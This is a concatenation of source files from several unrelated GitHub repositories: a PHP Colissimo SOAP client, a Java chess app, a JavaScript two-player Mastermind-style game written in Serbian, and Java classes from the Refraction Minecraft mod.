onCreate(SQLiteDatabase db) { try{ //Create Database db.execSQL(FLEX_SCHEDULER_TABLE_CREATE); }catch(Exception e){ e.printStackTrace(); } db.close(); } /* (non-Javadoc) * @see android.database.sqlite.SQLiteOpenHelper#onUpgrade(android.database.sqlite.SQLiteDatabase, int, int) */ @Override public void onUpgrade(SQLiteDatabase arg0, int oldVersion, int newVersion) { } }
cdf3e626d6a55f3936df0b4acb18f19d2167a35d
[ "Java" ]
1
Java
jyun977/FlexScheduler
632ef83ea38376451cf374e2efd0f3116f6d6c0a
99e2fb7943fd04c4ef85a3836e6e12173d049a73
refs/heads/develop
<repo_name>clement-bongibault/PackageColissimoPostage<file_sep>/src/MTOM_ResponseReader.php <?php namespace ColissimoPostage; use WsdlToPhp\PackageBase\Utils; class MTOM_ResponseReader { const CONTENT_TYPE = 'Content-Type: application/xop+xml;'; const UUID = '/--uuid:/'; //This is the separator of each part of the response const CONTENT = 'Content-'; public $attachments = array(); public $soapResponse = array(); public $uuid = null; public function __construct($response) { if (strpos($response, self::CONTENT_TYPE) !== FALSE) { $this->parseResponse($response); } else { throw new Exception ('This response is not : ' . CONTENT_TYPE); } } private function parseResponse($response) { $content = array(); $matches = array(); preg_match_all(self::UUID, $response, $matches, PREG_OFFSET_CAPTURE); for ($i = 0; $i < count($matches [0]) - 1; $i++) { if ($i + 1 < count($matches [0])) { $content [$i] = substr($response, $matches [0] [$i] [1], $matches [0] [$i + 1] [1] - $matches [0] [$i] [1]); } else { $content [$i] = substr($response, $matches [0] [$i] [1], strlen($response)); } } foreach ($content as $part) { if ($this->uuid == null) { $uuidStart = 0; $uuidEnd = 0; $uuidStart = strpos($part, self::UUID, 0) + strlen(self::UUID); $uuidEnd = strpos($part, "\r\n", $uuidStart); $this->uuid = substr($part, $uuidStart, $uuidEnd - $uuidStart); } $header = $this->extractHeader($part); if (count($header) > 0) { if (strpos($header['Content-Type'], 'type="text/xml"') !== FALSE) { $this->soapResponse['header'] = $header; $this->soapResponse['data'] = trim(substr($part, $header['offsetEnd'])); } else { $attachment['header'] = $header; $attachment['data'] = trim(substr($part, $header['offsetEnd'])); array_push($this->attachments, $attachment); } } } } /** * Exclude the header from the Web Service response * @param string $part * @return array $header */ private function extractHeader($part) { $header = array(); $headerLineStart = strpos($part, self::CONTENT, 0); $endLine = 0; while ($headerLineStart !== FALSE) { $header['offsetStart'] = $headerLineStart; $endLine = strpos($part, "\r\n", $headerLineStart); $headerLine = explode(': ', substr($part, $headerLineStart, $endLine - $headerLineStart)); $header[$headerLine[0]] = $headerLine[1]; $headerLineStart = strpos($part, self::CONTENT, $endLine); } $header['offsetEnd'] = $endLine; return $header; } public function soapResponseToXml(){ $response = $this->soapResponse['data']; /** * So we only keep the XML envelope */ $response = substr($response, strpos($response, '<soap:Envelope '), strrpos($response, '</soap:Envelope>') - strpos($response, '<soap:Envelope ') + strlen('</soap:Envelope>')); /** * And we remove xop:Include definitions */ if(strpos($response, '<label>' !== false)) $response = substr_replace($response, '', strpos($response, '<label>'), strrpos($response, '</label>') - strpos($response, '<label>') + strlen('</label>')); $response = '<?xml version="1.0" encoding="UTF-8"?>' . trim($response); return Utils::getFormatedXml($response, true); } } <file_sep>/SoapClient/SoapClient.php <?php namespace SoapClient; /** * This class can be overridden at your will. * Its only purpose is to show you how you can use your own SoapClient client. */ class SoapClient extends \SoapClient { /** * Final XML request * @var string */ public $lastRequest; /** * @see SoapClient::__doRequest() */ public function __doRequest($request, $location, $action, $version, $oneWay = null) { /** * Colissimo does not support type definition */ $request = str_replace(' xsi:type="ns1:outputFormat"', '', $request); $request = str_replace(' xsi:type="ns1:letter"', '', $request); $request = str_replace(' xsi:type="ns1:address"', '', $request); $request = str_replace(' xsi:type="ns1:sender"', '', $request); /** * Colissimo returns headers and boundary parts */ $response = parent::__doRequest($this->lastRequest = $request, $location, $action, $version, $oneWay); return $response; } /** * Override it in order to return the final XML Request * @see SoapClient::__getLastRequest() * @return string */ public function __getLastRequest() { return $this->lastRequest; } }
28af6090f43831306ed47b38b504f043d23a987c
[ "PHP" ]
2
PHP
clement-bongibault/PackageColissimoPostage
e40596e6db99a566e0037124161cd80dea296963
f9625e74b14ff0338c18795999edd873615bd1e9
refs/heads/master
<repo_name>SeamasShih/ChineseChess<file_sep>/app/src/main/java/com/example/seamasshih/chinesechess/Piece.java package com.example.seamasshih.chinesechess; import android.graphics.Point; public class Piece { private Point site = new Point(); private int camp; private String chessName; private int index; public Point getSite(){ return site; } public void setSite(int x , int y){ site.x = x; site.y = y; } public int getCamp(){ return camp; } public void setCamp(int camp){ this.camp = camp; } public int getIndex(){ return index; } public void setIndex(int chessIndex){ index = chessIndex; switch (chessIndex){ case 0: chessName = (camp == 0 ? "帥":"將"); break; case 1: chessName = (camp == 0 ? "仕":"士"); break; case 2: chessName = (camp == 0 ? "相":"象"); break; case 3: chessName = (camp == 0 ? "俥":"車"); break; case 4: chessName = (camp == 0 ? "傌":"馬"); break; case 5: chessName = (camp == 0 ? "炮":"包"); break; case 6: chessName = (camp == 0 ? "兵":"卒"); break; } } public String getPieceName(){ return chessName; } } <file_sep>/app/src/main/java/com/example/seamasshih/chinesechess/MainActivity.java package com.example.seamasshih.chinesechess; import android.media.MediaPlayer; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.Window; import android.view.WindowManager; public class MainActivity extends AppCompatActivity { MediaPlayer background; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,WindowManager.LayoutParams.FLAG_FULLSCREEN); background = MediaPlayer.create(this,R.raw.background); background.setVolume(0.2f,0.2f); background.setLooping(true); } @Override protected void onPause() { background.pause(); super.onPause(); } @Override protected void onResume() { background.start(); super.onResume(); } }
5187f2081d4115293673c4b882aa582b97b00820
[ "Java" ]
2
Java
SeamasShih/ChineseChess
93565afb8190352db70603452bfaced15490f1bd
3e52d8b049c33ff9f8ab7e2ad7d5f6a1593efd5a
refs/heads/main
<file_sep>var mesto_fokusa = ["", "fokus_1", "fokus_2"] function zapocniPodesavanja() { sekvenca_zemalja1 = []; localStorage.setItem("sekvenca_zemalja1", ""); igrac2_sekvenca_zemalja = []; localStorage.setItem("sekvenca_zemalja2", ""); var p = document.getElementById("gotova_komb"); p.style.visibility = "hidden"; dodajDogadjaje(); } function nadji_igraca(elem) { if (elem.closest("#igrac1") == null) return 2; else return 1; } function kartica_kliknuta(kliknuta_kartica) { // ako prvi igrac bira sekvencu, nije dozvoljeno i drugom dok prvi ne zavrsi if (kliknuta_kartica.classList.contains("sacekaj_igraca")) return; // ako kliknemo na karticu ? ili popunjenu ne radi nista if (kliknuta_kartica.classList.contains("kartica")) return; var br_igraca = nadji_igraca(kliknuta_kartica); var kartica_u_fokusu; if (br_igraca == 1) kartica_u_fokusu = document.querySelector(".fokus_1"); if (br_igraca == 2) kartica_u_fokusu = document.querySelector(".fokus_2"); kartica_u_fokusu.classList.remove(mesto_fokusa[br_igraca]); kartica_u_fokusu.innerHTML = kliknuta_kartica.innerHTML; // prebaci fokus na sledecu karticu u sekvenci ako ima sledece if (kartica_u_fokusu.nextElementSibling != null) kartica_u_fokusu.nextElementSibling.classList.add(mesto_fokusa[br_igraca]); } // pronadji koju karticu je igrac izabrao function odredi_izabranu_zemlju(kartica) { var zemlja = new RegExp("Srbija"); if (zemlja.test(kartica.innerHTML)) return 1; var zemlja = new RegExp("Španija"); if (zemlja.test(kartica.innerHTML)) return 2; var zemlja = new RegExp("USA"); if (zemlja.test(kartica.innerHTML)) return 3; var zemlja = new RegExp("JKoreja"); if (zemlja.test(kartica.innerHTML)) return 4; var zemlja = new RegExp("Kanada"); if (zemlja.test(kartica.innerHTML)) return 5; var zemlja = new RegExp("Palestina"); if (zemlja.test(kartica.innerHTML)) return 6; return 0; } //brisanje kartica odnosno izbora sekvence da bi se omogucilo ponovno popunjavanje kombinacije function obrisi_sekvencu(kliknuta_kartica) { // koji igrac zeli ponovo da popuni kombinaciju var br_igraca = nadji_igraca(kliknuta_kartica); if (br_igraca == 1) { localStorage.setItem("sekvenca_zemalja1", ""); //sekvenca_zemalja1 = []; } if (br_igraca == 2) { localStorage.setItem("sekvenca_zemalja2", ""); //sekvenca_zemalja2 = []; } //dohvati sve kartice kako bi ih sve obrisao var _niz = document.querySelectorAll("div.kartica"); var vracen_fokus_na_prvu_karticu = 0; // 4 za po svakog igraca posto smo dohvatili sve kartice, a zelimo da brisemo samo za jednog for (let i = 0; i < 8; i++) { let vlasnik__niz = nadji_igraca(_niz[i]); if (vlasnik__niz != br_igraca) continue; else { // kada obrise sekvencu da se ispise ? na kartici _niz[i].innerHTML = "<img class='icon' src='skocko-dodatno/upitnik2.png' alt='?'>"; _niz[i].classList.remove(mesto_fokusa[br_igraca]); // prva na koju naidjemo je zapravo prva kartica od tog igraca i na nju treba da se vratimo kada sve obrisemo if (vracen_fokus_na_prvu_karticu == 0) { _niz[i].classList.add(mesto_fokusa[br_igraca]); vracen_fokus_na_prvu_karticu = 1; } } } } function potvrdi(kliknuta_kartica) { // koji igrac potvrdjuje var br_igraca = nadji_igraca(kliknuta_kartica); // uzeli smo od oba igraca _niz var _niz = document.querySelectorAll("div.kartica"); // cuvanje unete sekvence var sekvenca = []; var br_dodatih = 0; for (let i = 0; i < 8; i++) { kliknuta_kartica = _niz[i]; if (nadji_igraca(kliknuta_kartica) != br_igraca) continue; else { sekvenca[br_dodatih] = odredi_izabranu_zemlju(kliknuta_kartica); br_dodatih++; } } var manje_od_4 = 0; for (let i = 0; i < 4; ++i) { if (sekvenca[i] == 0) { manje_od_4 = 1; } } if (manje_od_4 == 1) { alert("Niste uneli sve 4 zemlje u sekvencu!"); } else { // Ako igra igrac, i popunio je sve 4 zemlje, onda se njemu blokira/hide, a drugom igracu daje mogucnost da bira sekvencu _niz = document.getElementsByClassName("izbor"); for (let i = 0; i < _niz.length; i++) { if (_niz[i].classList.contains("sacekaj_igraca")) _niz[i].classList.remove("sacekaj_igraca"); else if (br_igraca == 1) _niz[i].style.visibility = "hidden"; } if (br_igraca == 1) { var dugme1 = document.getElementById("dugme1"); var dugme2 = document.getElementById("dugme2"); dugme1.style.visibility = "hidden"; dugme2.style.visibility = "hidden"; var p = document.getElementById("gotova_komb"); p.style.visibility = "visible"; var zemlje = document.getElementsByClassName("izbor"); for (let i = 0; i < zemlje.length; i++) { if (zemlje[i].classList.contains("sacekaj_igraca")) zemlje[i].classList.remove("sacekaj_igraca"); } var dugmici = document.getElementsByClassName("dugme"); for (let i = 0; i < dugmici.length; i++) { if (dugmici[i].classList.contains("sacekaj_igraca")) dugmici[i].classList.remove("sacekaj_igraca"); } var cekaj_komb = document.getElementById("cekaj_komb"); cekaj_komb.style.visibility = "hidden"; } } localStorage.setItem("sekvenca_zemalja" + br_igraca, JSON.stringify(sekvenca)); // ako je sve u redu, predji na igru if (localStorage.getItem("sekvenca_zemalja1") && localStorage.getItem("sekvenca_zemalja2") && manje_od_4 == 0) { window.location.href = "skocko-igra.html"; } } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function dodajDogadjaje() { let _niz = document.getElementsByClassName("kartica"); for (let i = 0; i < _niz.length; i++) { _niz[i].addEventListener("click", function () { kartica_kliknuta(_niz[i]); }); } let niz2 = document.getElementsByClassName("izbor"); for (let i = 0; i < niz2.length; i++) { niz2[i].addEventListener("click", function () { kartica_kliknuta(niz2[i]); }); } let dugme1 = document.getElementById("dugme1"); dugme1.addEventListener("click", function () { obrisi_sekvencu(dugme1); }); let dugme2 = document.getElementById("dugme2"); dugme2.addEventListener("click", function () { potvrdi(dugme2); }); let dugme3 = document.getElementById("dugme3"); dugme3.addEventListener("click", function () { obrisi_sekvencu(dugme3); }); let dugme4 = document.getElementById("dugme4"); dugme4.addEventListener("click", function () { potvrdi(dugme4); }); }<file_sep>var sekvenca1; var sekvenca2; var mesto_fokusa = ["", "fokus_1", "fokus_2"] function zapocniPodesavanja() { sekvenca_zemalja1 = []; localStorage.setItem("sekvenca_zemalja1", ""); igrac2_sekvenca_zemalja = []; localStorage.setItem("sekvenca_zemalja2", ""); var p = document.getElementById("gotova_komb"); p.style.visibility = "hidden"; } function nadji_igraca(elem) { if (elem.closest("#igrac1") == null) return 2; else return 1; } function kartica_kliknuta(kliknuta_kartica) { // ako prvi igrac bira sekvencu, nije dozvoljeno i drugom dok prvi ne zavrsi if (kliknuta_kartica.classList.contains("sacekaj_igraca")) return; // ako kliknemo na karticu ? ili popunjenu ne radi nista if (kliknuta_kartica.classList.contains("kartica")) return; var br_igraca = nadji_igraca(kliknuta_kartica); var kartica_u_fokusu; if (br_igraca == 1) kartica_u_fokusu = document.querySelector(".fokus_1"); if (br_igraca == 2) kartica_u_fokusu = document.querySelector(".fokus_2"); kartica_u_fokusu.classList.remove(mesto_fokusa[br_igraca]); kartica_u_fokusu.innerHTML = kliknuta_kartica.innerHTML; // prebaci fokus na sledecu karticu u sekvenci ako ima sledece if (kartica_u_fokusu.nextElementSibling != null) kartica_u_fokusu.nextElementSibling.classList.add(mesto_fokusa[br_igraca]); } // pronadji koju karticu je igrac izabrao function odredi_izabranu_zemlju(kartica) { var zemlja = new RegExp("Srbija"); if (zemlja.test(kartica.innerHTML)) return 1; var zemlja = new RegExp("Španija"); if (zemlja.test(kartica.innerHTML)) return 2; var zemlja = new RegExp("USA"); if (zemlja.test(kartica.innerHTML)) return 3; var zemlja = new RegExp("JKoreja"); if (zemlja.test(kartica.innerHTML)) return 4; var zemlja = new RegExp("Kanada"); if (zemlja.test(kartica.innerHTML)) return 5; var zemlja = new RegExp("Palestina"); if (zemlja.test(kartica.innerHTML)) return 6; return 0; } //brisanje kartica odnosno izbora sekvence da bi se omogucilo ponovno popunjavanje kombinacije function obrisi_sekvencu(kliknuta_kartica) { // koji igrac zeli ponovo da popuni kombinaciju var br_igraca = nadji_igraca(kliknuta_kartica); if (br_igraca == 1) { localStorage.setItem("sekvenca_zemalja1", ""); //sekvenca_zemalja1 = []; } if (br_igraca == 2) { localStorage.setItem("sekvenca_zemalja2", ""); //sekvenca_zemalja2 = []; } //dohvati sve kartice kako bi ih sve obrisao var kartice = document.querySelectorAll("div.kartica"); var vracen_fokus_na_prvu_karticu = 0; // 4 za po svakog igraca posto smo dohvatili sve kartice, a zelimo da brisemo samo za jednog for (let i = 0; i < 8; i++) { let vlasnik_kartice = nadji_igraca(kartice[i]); if (vlasnik_kartice != br_igraca) continue; else { // kada obrise sekvencu da se ispise ? na kartici kartice[i].innerHTML = "<img class='icon' src='skocko-dodatno/upitnik2.png' alt='?'>"; kartice[i].classList.remove(mesto_fokusa[br_igraca]); // prva na koju naidjemo je zapravo prva kartica od tog igraca i na nju treba da se vratimo kada sve obrisemo if (vracen_fokus_na_prvu_karticu == 0) { kartice[i].classList.add(mesto_fokusa[br_igraca]); vracen_fokus_na_prvu_karticu = 1; } } } } function potvrdi(kliknuta_kartica) { // koji igrac potvrdjuje var br_igraca = nadji_igraca(kliknuta_kartica); // uzeli smo od oba igraca kartice var kartice = document.querySelectorAll("div.kartica"); // cuvanje unete sekvence var sekvenca = []; var br_dodatih = 0; for (let i = 0; i < 8; i++) { kliknuta_kartica = kartice[i]; if (nadji_igraca(kliknuta_kartica) != br_igraca) continue; else { sekvenca[br_dodatih] = odredi_izabranu_zemlju(kliknuta_kartica); br_dodatih++; } } var manje_od_4 = 0; for (let i = 0; i < 4; ++i) { if (sekvenca[i] == 0) { manje_od_4 = 1; } } if (manje_od_4 == 1) { alert("Niste uneli sve 4 zemlje u sekvencu!"); } else { // Ako igra igrac, i popunio je sve 4 zemlje, onda se njemu blokira/hide, a drugom igracu daje mogucnost da bira sekvencu kartice = document.getElementsByClassName("izbor"); for (let i = 0; i < kartice.length; i++) { if (kartice[i].classList.contains("sacekaj_igraca")) kartice[i].classList.remove("sacekaj_igraca"); else if (br_igraca == 1) kartice[i].style.visibility = "hidden"; } if (br_igraca == 1) { var dugme1 = document.getElementById("dugme1"); var dugme2 = document.getElementById("dugme2"); dugme1.style.visibility = "hidden"; dugme2.style.visibility = "hidden"; var p = document.getElementById("gotova_komb"); p.style.visibility = "visible"; var zemlje = document.getElementsByClassName("izbor"); for (let i = 0; i < zemlje.length; i++) { if (zemlje[i].classList.contains("sacekaj_igraca")) zemlje[i].classList.remove("sacekaj_igraca"); } var dugmici = document.getElementsByClassName("dugme"); for (let i = 0; i < dugmici.length; i++) { if (dugmici[i].classList.contains("sacekaj_igraca")) dugmici[i].classList.remove("sacekaj_igraca"); } var cekaj_komb = document.getElementById("cekaj_komb"); cekaj_komb.style.visibility = "hidden"; } } localStorage.setItem("sekvenca_zemalja" + br_igraca, JSON.stringingingify(sekvenca)); // ako je sve u redu, predji na igru if (localStorage.getItem("sekvenca_zemalja1") && localStorage.getItem("sekvenca_zemalja2") && manje_od_4 == 0) { window.location.href = "skocko-igra.html"; } } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// var trenutni_igrac = 1; var kraj_partije = false; function zapocni_igru() { sekvenca1 = localStorage.getItem("sekvenca_zemalja1"); sekvenca2 = localStorage.getItem("sekvenca_zemalja2"); if (sekvenca1 == null || sekvenca2 == null) { alert("Nisu dobro unete sekvence drzava!"); window.location.href = "skocko-podesavanja.html"; } sekvenca1 = JSON.parse(sekvenca1); sekvenca2 = JSON.parse(sekvenca2); dodajDogadjaje(); setInterval(stoperica, 1000); } function oznaci_pogodke(pogodak) { var kartice = document.querySelectorAll(".trenutni_red >.vertical_raspored > .raspored > .kartica_igra_mini"); for (let i = 0; i < pogodak[0] + pogodak[1]; ++i) { if (i < pogodak[0]) kartice[i].classList.add("tacno_mesto_i_zemlja"); else kartice[i].classList.add("tacna_zemlja"); } } function setCharAt(string, index, novi_karakter) { if (index > string.length - 1) return string; return string.substring(0, index) + novi_karakter + string.substring(index + 1); } function nereseno() { alert("Nerešeno - niko nije pogodio kombinaciju!"); window.location.href = "skocko-podesavanja.html"; } function prebaci_na_sled_igraca() { var trenutniRed = document.querySelector(".trenutni_red"); var br_reda_igraca = trenutniRed.id; trenutniRed.classList.remove("trenutni_red"); if (br_reda_igraca.charAt(4) == "7" && trenutni_igrac == 2) { kraj_partije = true; setTimeout(nereseno, 1000); } var protivnikov_sledeci_red = ""; if (trenutni_igrac == 1) { protivnikov_sledeci_red = br_reda_igraca; protivnikov_sledeci_red = setCharAt(protivnikov_sledeci_red, 5, "2"); } else { protivnikov_sledeci_red = br_reda_igraca; protivnikov_sledeci_red = setCharAt(protivnikov_sledeci_red, 5, "1"); var karakter = protivnikov_sledeci_red.charAt(4); karakter = String.fromCharCode(karakter.charCodeAt(0) + 1); protivnikov_sledeci_red = setCharAt(protivnikov_sledeci_red, 4, karakter); } var sledeci_red = document.getElementById(protivnikov_sledeci_red); sledeci_red.classList.add("trenutni_red"); // dohvati prvu karticu novog trenutnog reda i stavi u fokus var kartica = document.querySelector(".row.red_igra.trenutni_red > .kartice > .kartica_igra"); kartica.classList.add(mesto_fokusa[3 - trenutni_igrac]); } function toggle_kartice_unos() { var kartice_unos = document.getElementsByClassName("izbor_mini"); for (let i = 0; i < kartice_unos.length; i++) { if (kartice_unos[i].classList.contains("ne_prikazuj")) kartice_unos[i].classList.remove("ne_prikazuj"); else kartice_unos[i].classList.add("ne_prikazuj"); } } function kliknuto(kliknuta_kartica) { // ako prvi igrac pogadja sekvencu, nije dozvoljeno i drugom dok prvi ne zavrsi if (kliknuta_kartica.classList.contains("sacekaj_igraca")) return; // ako kliknemo na karticu ? ili popunjenu ne radi nista if (kliknuta_kartica.classList.contains("kartica_igra")) return; // ako kliknemo na one 4 kartice koje prikazuju pogodak ne radi nista if (kliknuta_kartica.classList.contains("kartica_igra_mini")) return; var br_igraca = nadji_igraca(kliknuta_kartica); var kartica_u_fokusu; if (br_igraca == 1) kartica_u_fokusu = document.querySelector(".fokus_1"); if (br_igraca == 2) kartica_u_fokusu = document.querySelector(".fokus_2"); // staru odfokusiraj kartica_u_fokusu.classList.remove(mesto_fokusa[br_igraca]); if (kartica_u_fokusu.classList.contains("izbor_mini")) var kartica = kliknuta_kartica; else var kartica = kartica_u_fokusu; kartica_u_fokusu.innerHTML = kliknuta_kartica.innerHTML; // prebaci fokus na sledecu karticu u sekvenci ako ima sledece if (kartica.nextElementSibling != null) kartica.nextElementSibling.classList.add(mesto_fokusa[br_igraca]); } function pogodak(pokusano, tacno) { var biti_pogodka = [0, 0]; // koliko se ponavlja svaka od zemalja, 0 indeks nam ne treba, 1-6 su zemlje var br_ponavljanja = [0, 0, 0, 0, 0, 0, 0]; for (let i = 0; i < 4; i++) { var trenutna_zemlja_tacne_sekvence = tacno[i]; br_ponavljanja[trenutna_zemlja_tacne_sekvence] = br_ponavljanja[trenutna_zemlja_tacne_sekvence] + 1; } for (let i = 0; i < pokusano.length; i++) { if (pokusano[i] == tacno[i]) { // i na mestu i tacna drzava biti_pogodka[0] = biti_pogodka[0] + 1; br_ponavljanja[pokusano[i]] = br_ponavljanja[pokusano[i]] - 1; } } for (let i = 0; i < pokusano.length; ++i) { var trenutna_zemlja_tacne_sekvence = tacno[i]; var trenutna_zemlja_pokusane_sekvence = pokusano[i]; if ((trenutna_zemlja_pokusane_sekvence != trenutna_zemlja_tacne_sekvence) && br_ponavljanja[trenutna_zemlja_pokusane_sekvence] > 0) { biti_pogodka[1]++; br_ponavljanja[trenutna_zemlja_pokusane_sekvence]--; } } return biti_pogodka; } function prikazi_pogodak(dugme_proveri) { var br_igraca = nadji_igraca(dugme_proveri); // Ako pokusam da proverim red tudjeg igraca if (br_igraca != trenutni_igrac) { return; } // Da li se proverava red koji se trenutno puni? var trenutni_red = dugme_proveri.closest(".trenutni_red"); if (trenutni_red == null) { return; } var kartice = document.querySelectorAll(".trenutni_red > .kartice > .kartica_igra"); var sekvenca = []; var br_dodatih = 0; for (let i = 0; i < kartice.length; i++) { kliknuta_kartica = kartice[i]; if (nadji_igraca(kliknuta_kartica) != br_igraca) { continue; } sekvenca[br_dodatih] = odredi_izabranu_zemlju(kliknuta_kartica); br_dodatih++; } var manje_od_4 = 0; for (let i = 0; i < sekvenca.length; ++i) { if (sekvenca[i] == 0) { manje_od_4 = 1; } } if (manje_od_4 == 1) { alert("Niste uneli sve 4 zemlje u sekvencu!"); } else { var izabrana1 = document.getElementsByClassName("fokus_1"); var izabrana2 = document.getElementsByClassName("fokus_2"); for (let i = 0; i < izabrana1.length; ++i) { izabrana1[i].classList.remove("fokus_1"); } for (let i = 0; i < izabrana2.length; ++i) { izabrana2[i].classList.remove("fokus_2"); } if (trenutni_igrac == 1) var pogodak_biti = pogodak(sekvenca, sekvenca2); else var pogodak_biti = pogodak(sekvenca, sekvenca1); // oznaci pogodke - 4 kvadratica desno oznaci_pogodke(pogodak_biti); if (pogodak_biti[0] == 4) { kraj_partije = true; alert("Pobeda igrača " + br_igraca); window.location.href = "skocko-uputstvo.html"; } prebaci_na_sled_igraca(); toggle_kartice_unos(); if (trenutni_igrac == 1) trenutni_igrac = 2; else trenutni_igrac = 1; } } function stoperica() { var tajmeri = document.getElementsByClassName("tajmer_text"); var elem1 = tajmeri[0]; if (trenutni_igrac == 1) { if (tajmeri[0].closest("#igrac1") == null) { tajmeri[1].innerHTML = tajmeri[1].innerHTML - 1; aktivan_tajmer = tajmeri[1]; } else { tajmeri[0].innerHTML = tajmeri[0].innerHTML - 1; aktivan_tajmer = tajmeri[0]; } } else { if (tajmeri[0].closest("#igrac1") == null) { aktivan_tajmer = tajmeri[0]; tajmeri[0].innerHTML = tajmeri[0].innerHTML - 1; } else { tajmeri[1].innerHTML = tajmeri[1].innerHTML - 1; aktivan_tajmer = tajmeri[1]; } } if (!kraj_partije && aktivan_tajmer.innerHTML == 0) { if (trenutni_igrac == 1) alert("Igrač " + trenutni_igrac + " nema više vremena za pogađanje!" + "\nPobedio je igrač 2!"); else alert("Igrač " + trenutni_igrac + " nema više vremena za pogađanje!" + "\nPobedio je igrač 1!"); kraj_partije = true; window.location.href = "skocko-podesavanja.html"; } } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function dodajDogadjaje() { let niz = document.getElementsByClassName("kartica_igra"); for (let i = 0; i < niz.length; i++) { niz[i].addEventListener("click", function () { kliknuto(niz[i]); }); } let niz2 = document.getElementsByClassName("dugme_proveri"); for (let i = 0; i < niz2.length; i++) { niz2[i].addEventListener("click", function () { prikazi_pogodak(niz2[i]); }); } let niz3 = document.getElementsByClassName("izbor_mini"); for (let i = 0; i < niz3.length; i++) { niz3[i].addEventListener("click", function () { kliknuto(niz3[i]); }); } }<file_sep># Mastermind Mastermind game in JavaScript Game rules: The game is played by two players. Each player must guess a combination of four characters given by another player. Players have seven attempts to guess the required combination. For each attempt, the player receives information about exactly how many characters are hit and in the appropriate position, a how many characters are exactly hit, but not in the appropriate position. Players have at their disposal by 60 seconds to guess the combination.
00f4d08b4b7ec5872f0ccba921651e2e4c65859b
[ "JavaScript", "Markdown" ]
3
JavaScript
PetrovicT/Mastermind
a004f2f13cc4294cc922e2ec21d3573784a9f2a2
32a43395c46df8859a019420a2c9af135c99d5ae
refs/heads/master
<file_sep>package com.teamwizardry.refraction.init; import com.teamwizardry.refraction.api.lib.LibOreDict; import com.teamwizardry.refraction.common.item.*; import com.teamwizardry.refraction.common.item.armor.ItemArmorReflectiveAlloy; import net.minecraft.inventory.EntityEquipmentSlot; import net.minecraftforge.oredict.OreDictionary; /** * Created by Demoniaque */ public class ModItems { public static ItemLaserPen LASER_PEN; public static ItemScrewDriver SCREW_DRIVER; public static ItemReflectiveAlloy REFLECTIVE_ALLOY; public static ItemBook BOOK; public static ItemGrenade GRENADE; public static ItemPhotonCannon PHOTON_CANNON; public static ItemArmorReflectiveAlloy HELMET; public static ItemArmorReflectiveAlloy CHESTPLATE; public static ItemArmorReflectiveAlloy LEGGINGS; public static ItemArmorReflectiveAlloy BOOTS; public static ItemLightCartridge LIGHT_CARTRIDGE; public static void init() { LASER_PEN = new ItemLaserPen(); SCREW_DRIVER = new ItemScrewDriver(); REFLECTIVE_ALLOY = new ItemReflectiveAlloy(); BOOK = new ItemBook(); GRENADE = new ItemGrenade(); PHOTON_CANNON = new ItemPhotonCannon(); HELMET = new ItemArmorReflectiveAlloy("ref_alloy_helmet", EntityEquipmentSlot.HEAD); CHESTPLATE = new ItemArmorReflectiveAlloy("ref_alloy_chestplate", EntityEquipmentSlot.CHEST); LEGGINGS = new ItemArmorReflectiveAlloy("ref_alloy_leggings", EntityEquipmentSlot.LEGS); BOOTS = new ItemArmorReflectiveAlloy("ref_alloy_boots", EntityEquipmentSlot.FEET); LIGHT_CARTRIDGE = new ItemLightCartridge(); } public static void initOreDict() { OreDictionary.registerOre(LibOreDict.REFLECTIVE_ALLOY, REFLECTIVE_ALLOY); } public static void initModels() { HELMET.initModel(); CHESTPLATE.initModel(); LEGGINGS.initModel(); BOOTS.initModel(); } } <file_sep>package com.teamwizardry.refraction.common.tile; import com.teamwizardry.librarianlib.features.autoregister.TileRegister; import com.teamwizardry.librarianlib.features.base.block.tile.TileMod; import com.teamwizardry.librarianlib.features.saving.Save; import net.minecraft.util.ITickable; /** * Created by Demoniaque. */ @TileRegister("invisible_redstone") public class TileInvisibleRedstone extends TileMod implements ITickable { @Save public int expiry = 5; @Override public void update() { if (expiry > 0) expiry--; else world.setBlockToAir(pos); } } <file_sep>package com.teamwizardry.refraction.common.block; import com.teamwizardry.librarianlib.features.base.block.tile.BlockModContainer; import com.teamwizardry.librarianlib.features.utilities.client.TooltipHelper; import com.teamwizardry.refraction.api.CapsUtils; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.beam.Beam; import com.teamwizardry.refraction.api.beam.ILightSink; import com.teamwizardry.refraction.client.render.RenderAssemblyTable; import com.teamwizardry.refraction.common.item.ItemScrewDriver; import com.teamwizardry.refraction.common.tile.TileAssemblyTable; import net.minecraft.block.SoundType; import net.minecraft.block.material.Material; import net.minecraft.block.state.IBlockState; import net.minecraft.client.util.ITooltipFlag; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.inventory.InventoryHelper; import net.minecraft.item.ItemStack; import net.minecraft.tileentity.TileEntity; import net.minecraft.util.BlockRenderLayer; import net.minecraft.util.EnumFacing; import net.minecraft.util.EnumHand; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import net.minecraftforge.fml.client.registry.ClientRegistry; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import net.minecraftforge.items.ItemHandlerHelper; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.util.List; import java.util.Objects; /** * Created by Demoniaque */ public class BlockAssemblyTable extends BlockModContainer implements ILightSink { public BlockAssemblyTable() { super("assembly_table", Material.IRON); setHardness(1F); setSoundType(SoundType.METAL); } private TileAssemblyTable getTE(World world, BlockPos pos) { return (TileAssemblyTable) world.getTileEntity(pos); } @SideOnly(Side.CLIENT) public void initModel() { ClientRegistry.bindTileEntitySpecialRenderer(TileAssemblyTable.class, new RenderAssemblyTable()); } @Override public void addInformation(ItemStack stack, @Nullable World worldIn, List<String> tooltip, ITooltipFlag flagIn) { TooltipHelper.addToTooltip(tooltip, "simple_name." + Constants.MOD_ID + ":" + getRegistryName().getPath()); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { if(beam.isAesthetic()) return true; getTE(world, pos).handleBeam(beam); return true; } @Override public boolean onBlockActivated( @Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull IBlockState state, @Nonnull EntityPlayer playerIn, @Nonnull EnumHand hand, @Nonnull 